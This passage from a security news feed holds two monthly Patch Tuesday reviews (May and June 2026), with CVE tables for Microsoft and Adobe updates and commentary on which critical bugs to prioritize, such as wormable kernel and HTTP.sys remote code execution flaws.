CVE-2026-34337 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40407 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40397 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42896 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35419 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34336 Windows DWM Core Library Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-33834 Windows Event Logging Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32209 Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-33841 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35420 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40369 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34332 Windows Kernel-Mode Driver Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-34339 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-34341 Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33838 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34342 Windows Print Spooler Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41095 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34340 Windows Projected File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-40398 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21530 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32170 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-40410 Windows SMB Client Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35415 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34350 Windows Storport Miniport Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-40405 Windows TCP/IP Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40414 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-40401 Windows TCP/IP Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-40413 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-35422 Windows TCP/IP Driver Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-34351 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40399 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34334 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40406 Windows TCP/IP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-33837 Windows TCP/IP Local Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40415 Windows TCP/IP Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-42825 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34338 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40382 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40380 Windows Volume Manager Extension Driver Remote Code Execution Vulnerability Important 6.2 No No RCE
CVE-2026-40408 Windows WAN ARP Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34333 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34347 Windows Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35417 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42891 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-35429 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-41107 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 7.4 No No Info
CVE-2026-40416 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The June 2026 Security Update Review]]> https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ Sat, 25 Jul 2026 19:02:53 +0200 đŸ•”ïž Hacking tsecurity.de I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-66 Adobe Campaign Classic 2 Critical 10.0 No 1
APSB26-64 Adobe ColdFusion 7 Critical 9.6 No 1
APSB26-63 Adobe Acrobat Reader 20 Critical 7.8 No 2
APSB26-57 Adobe Experience Manager Forms 3 Critical 9.3 No 2
APSB26-62 Adobe Dreamweaver 5 Critical 8.6 No 3
APSB26-65 Adobe Format Plugins 2 Critical 7.8 No 3
APSB26-59 Adobe InCopy 3 Critical 7.8 No 3
APSB26-58 Adobe InDesign 12 Critical 7.8 No 3
APSB26-60 Adobe Substance 3D Sampler 4 Critical 7.8 No 3
APSB26-61 Content Credentials SDK 8 Critical 7.5 No 3
APSB26-56 Adobe Experience Manager 57 Important 5.4 No 3
TOTAL 11 bulletins 123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited XI Type
CVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes Yes 0 EoP
CVE-2026-49160 HTTP.sys Denial of Service Vulnerability Important 7.5 Yes No 1 DoS
CVE-2026-50507 Windows BitLocker Security Feature Bypass Vulnerability Important 6.8 Yes No 1 SFB
CVE-2026-45586 Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability Important 7.8 Yes No 1 EoP
CVE-2025-10263 * ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel] Critical 9.3 No No 2 EoP
CVE-2026-48567 Azure HorizonDB Elevation of Privilege Vulnerability Critical 10 No No N/A EoP
CVE-2026-32193 Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-47644 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 6.5 No No 2 Info
CVE-2026-44815 DHCP Client Service Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47291 HTTP.sys Remote Code Execution Vulnerability Critical 9.8 No No 1 RCE
CVE-2026-42824 M365 Copilot Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45476 Microsoft Azure Network Adapter Elevation of Privilege Vulnerability Critical 8.2 No No 2 EoP
CVE-2026-44810 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Critical 8.4 No No 2 EoP
CVE-2026-48579 Microsoft Exchange Online Information Disclosure Vulnerability Critical 9.1 No No N/A Info
CVE-2026-47655 Microsoft Graph Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45497 Microsoft M365 Copilot Remote Code Execution Vulnerability Critical 7.7 No No N/A RCE
CVE-2026-45460 Microsoft Office Information Disclosure Vulnerability Critical 4.7 No No 3 Info
CVE-2026-45472 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45474 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45461 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45463 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45456 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45458 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47635 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-26142 Nuance PowerScribe Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47289 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 2 RCE
CVE-2026-47654 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 3 RCE
CVE-2026-48563 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42992 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44799 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44801 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42985 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 1 RCE
CVE-2026-45648 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-42987 Windows Deployment Services (WDS) Remote Code Execution Critical 8.1 No No 2 RCE
CVE-2026-33828 Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability Critical 7.8 No No 3 EoP
CVE-2026-44803 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-44812 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-45607 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45641 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47652 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.2 No No 2 RCE
CVE-2026-47288 Windows Kerberos Key Distribution Center (KDC) Remote Code Execution Critical 7.1 No No 3 RCE
CVE-2026-45657 Windows Kernel Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-48574 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No 2 RCE
CVE-2026-45490 .NET SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45491 .NET Tampering Vulnerability Important 6.2 No No 3 Tampering
CVE-2026-45591 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No 2 DoS
CVE-2026-47643 Azure Stack Edge Remote Code Execution Vulnerability Important 9.8 No No 3 RCE
CVE-2026-41098 Azure Stack Edge Spoofing Vulnerability Important 8.4 No No 2 Spoofing
CVE-2026-45642 Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability Important 3.9 No No 2 Spoofing
CVE-2026-45650 Microsoft Bing Search Spoofing Vulnerability Important 4.3 No No 2 Spoofing
CVE-2026-45637 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45647 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No 2 EoP
CVE-2026-40371 Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-44822 Microsoft Excel Information Disclosure Vulnerability Important 8.2 No No 3 Info
CVE-2026-45455 Microsoft Excel Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-45469 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44817 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 3 RCE
CVE-2026-44818 Microsoft Excel Remote Code Execution Vulnerability Important 7 No No 2 RCE
CVE-2026-44820 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44823 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45459 Microsoft Excel Security Feature Bypass Vulnerability Important 3.3 No No 2 SFB
CVE-2026-45504 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 8.8 No No 3 EoP
CVE-2026-45502 Microsoft Exchange Server Information Disclosure Vulnerability Important 5 No No 3 Info
CVE-2026-45503 Microsoft Exchange Server Information Disclosure Vulnerability Important 8.1 No No 3 Info
CVE-2026-45583 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45500 Microsoft Exchange Server Spoofing Vulnerability Important 6.1 No No 2 Spoofing
CVE-2026-45501 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No 2 Spoofing
CVE-2026-47631 Microsoft Exchange Server Spoofing Vulnerability Important 8.1 No No 2 Spoofing
CVE-2026-42986 Microsoft Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-41092 Microsoft Kinect Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45644 Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability Important 8 No No 2 EoP
CVE-2026-47293 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45485 Microsoft Office Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-44821 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45483 Microsoft Office Project Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45475 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44819 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44824 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45645 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-49161 Microsoft PC Manager Security Feature Bypass Vulnerability Important 7.8 No No 3 SFB
CVE-2026-42902 Microsoft PowerToys Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45484 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-45454 Microsoft SharePoint Remote Code Execution Vulnerability Important 6.5 No No 2 RCE
CVE-2026-47298 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No 2 RCE
CVE-2026-45467 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45468 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45479 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45453 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47636 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47637 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47638 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47639 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 3 Spoofing
CVE-2026-47641 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-33113 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45462 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45464 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45465 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47634 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-47640 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 3 Spoofing
CVE-2026-45481 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-48560 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-48562 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-42835 Microsoft Teams for Android Information Disclosure Vulnerability Important 8.1 No No 2 Info
CVE-2026-45606 Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability Important 5.5 No No 2 DoS
CVE-2026-45482 Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability Important 8.4 No No 2 SFB
CVE-2026-45466 Microsoft Word Information Disclosure Vulnerability Important 3.3 No No 3 Info
CVE-2026-45471 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45486 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45643 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45457 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-42980 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-42916 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45649 Office for Android Spoofing Vulnerability Important 7.1 No No 3 Spoofing
CVE-2026-47653 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No 3 RCE
CVE-2026-42909 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42913 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42993 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45588 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48568 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48570 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48573 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48575 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48576 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48578 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45654 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45656 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-8863 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-40376 Visual Studio Code Elevation of Privilege Vulnerability Important 7.5 No No 2 EoP
CVE-2026-47281 Visual Studio Code Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-47284 Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-48569 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No 2 SFB
CVE-2026-47287 Visual Studio Code Tampering Vulnerability Important 6.5 No No 2 Tampering
CVE-2026-42829 Windows Administrator Protection Secure Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-34335 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45601 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45598 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45596 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45638 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45603 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42911 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45594 Windows Application Identity (AppID) Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45655 Windows BitLocker Security Feature Bypass Vulnerability Important 5.3 No No 2 SFB
CVE-2026-45658 Windows BitLocker Security Feature Bypass Vulnerability Important 7.8 No No 1 SFB
CVE-2026-45640 Windows Bluetooth Port Driver Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45605 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-47656 Windows Boot Manager Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-44809 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45634 Windows DHCP Client Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-45608 Windows DHCP Client Information Disclosure Vulnerability Important 6.8 No No 3 Info
CVE-2026-41108 Windows DNS Client Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42905 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-44811 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44808 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44807 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42983 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
